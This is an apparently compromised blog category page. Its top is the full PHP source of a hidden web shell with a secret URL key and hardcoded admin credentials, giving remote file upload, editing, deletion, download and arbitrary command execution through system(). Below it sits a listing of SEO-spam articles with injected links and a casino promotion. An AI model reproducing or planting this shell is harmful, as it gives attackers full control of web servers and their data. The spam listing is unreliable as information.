if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 22 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Як створити ідеальну ручну поклажу для комфортної подорожі

    Вибір відповідного контейнера – ключовий етап. Обирайте валізу або рюкзак з легкого, але міцного матеріалу. Переконайтеся, що маєте достатньо відділень для організації речей, https://poehali.com.ua/ що дозволить швидко знайти необхідне в аеропорту або на вокзалі. Перед тим, як розпочати упаковку, перегляньте перелік необхідних речей. Розробіть список, включаючи предмети одягу, туалетні приналежності і електроніку. Зверніть увагу на…

    Click or not…

  • Адаптація іноземних новин: нюанси перекладу та локалізації

    Адаптація іноземних новин є важливим аспектом сучасної журналістики, https://dailychronicle.in.ua оскільки вона дозволяє українським читачам отримувати актуальну інформацію про події з усього світу. Однак процес перекладу та локалізації новин має свої нюанси, які необхідно враховувати для забезпечення точності та зрозумілості інформації. По-перше, важливо розуміти, що переклад новин не обмежується лише буквальним перекладом слів. Необхідно враховувати культурні,…

    Click or not…

  • Робота закордонним кореспондентом: особливості міжнародної журналістики

    Робота закордонним кореспондентом є важливою і відповідальною діяльністю в рамках міжнародної журналістики. Закордонні кореспонденти виконують ключову роль у висвітленні подій, https://dailyobserver.net.ua/ що відбуваються в інших країнах, і забезпечують інформацію, яка може вплинути на громадську думку, політичні рішення та міжнародні відносини. Ця стаття розгляне основні особливості роботи закордонних кореспондентів, їх виклики та значення в сучасному світі.…

    Click or not…

  • Монетизація медіа: як заробляти на новинах етично

    Монетизація медіа стала однією з найактуальніших тем у сучасному журналістиці, особливо в умовах швидких змін у споживанні інформації. Етичний підхід до заробітку на новинах є важливим аспектом, https://dailychronicle.in.ua адже він дозволяє не тільки підтримувати фінансову стабільність медіа, але й зберігати довіру аудиторії. Перш за все, варто зазначити, що традиційні моделі монетизації, такі як продаж реклами,…

    Click or not…

  • Як розпізнати маніпуляції в медіа: гід для споживача новин

    У сучасному світі, де інформація поширюється миттєво, важливо вміти розпізнавати маніпуляції в медіа. Споживачі новин часто стають жертвами дезінформації, яка може мати серйозні наслідки для суспільства. Цей гід допоможе вам зрозуміти, https://dailyobserver.net.ua/ як виявляти маніпуляції та критично оцінювати інформацію. По-перше, важливо звертати увагу на джерела інформації. Надійні медіа зазвичай мають чіткі редакційні політики, які визначають,…

    Click or not…

  • Вплив штучного інтелекту на якість мобільних камер сучасності

    Виберіть смартфон з технологією обробки зображень на основі штучних нейронних мереж. Це дозволить досягти високої якості фотографій завдяки автоматичній корекції кольору, динамічного діапазону та чіткості. Наприклад, https://mobiboom.com.ua/ моделі, оснащені алгоритмами навчання, здатні розпізнавати об’єкти і адаптувати налаштування в режимі реального часу, що спрощує процес знімання. Звертайте увагу на пристрої, які підтримують функції обробки зображень у…

    Click or not…

  • Jackpotspellen bij Lizaro Casino: Een Diepgaande Analyse

    lizaro casino login Casino is een opkomend online casino dat spelers een breed scala aan spellen biedt, waaronder een indrukwekkende selectie van jackpotspellen. Deze spellen zijn niet alleen populair vanwege de kans op grote winsten, maar ook vanwege de spanning en het entertainment dat ze bieden. In dit rapport zullen we een gedetailleerde analyse maken…

    Click or not…

  • The Future of American Manufacturing: Trends and Predictions

    The landscape of American manufacturing is undergoing a profound transformation, driven by technological advancements, economic shifts, and changing consumer demands. This report examines the key trends shaping the future of manufacturing in the United States and offers predictions for https://modernhomejournals.com the industry over the next decade. One of the most significant trends is the increasing…

    Click or not…

  • Commercial Storage Solutions During Office Renovation

    Renovating an office space can be a daunting task, often involving significant disruption to daily operations. One of the critical aspects of a successful renovation is the effective management of office belongings. This report delves into various commercial storage solutions that can facilitate a seamless transition during office renovations, commercialrelocationpros.com ensuring that businesses can maintain…

    Click or not…

  • Understanding Moving Insurance: Coverage Types Explained

    When planning a move, https://tampamovingjournal.com/ whether across town or across the country, one of the most critical aspects to consider is moving insurance. Moving insurance protects your belongings during transit, ensuring that you are compensated in the event of loss or damage. This report aims to elucidate the various types of moving insurance coverage available,…

    Click or not…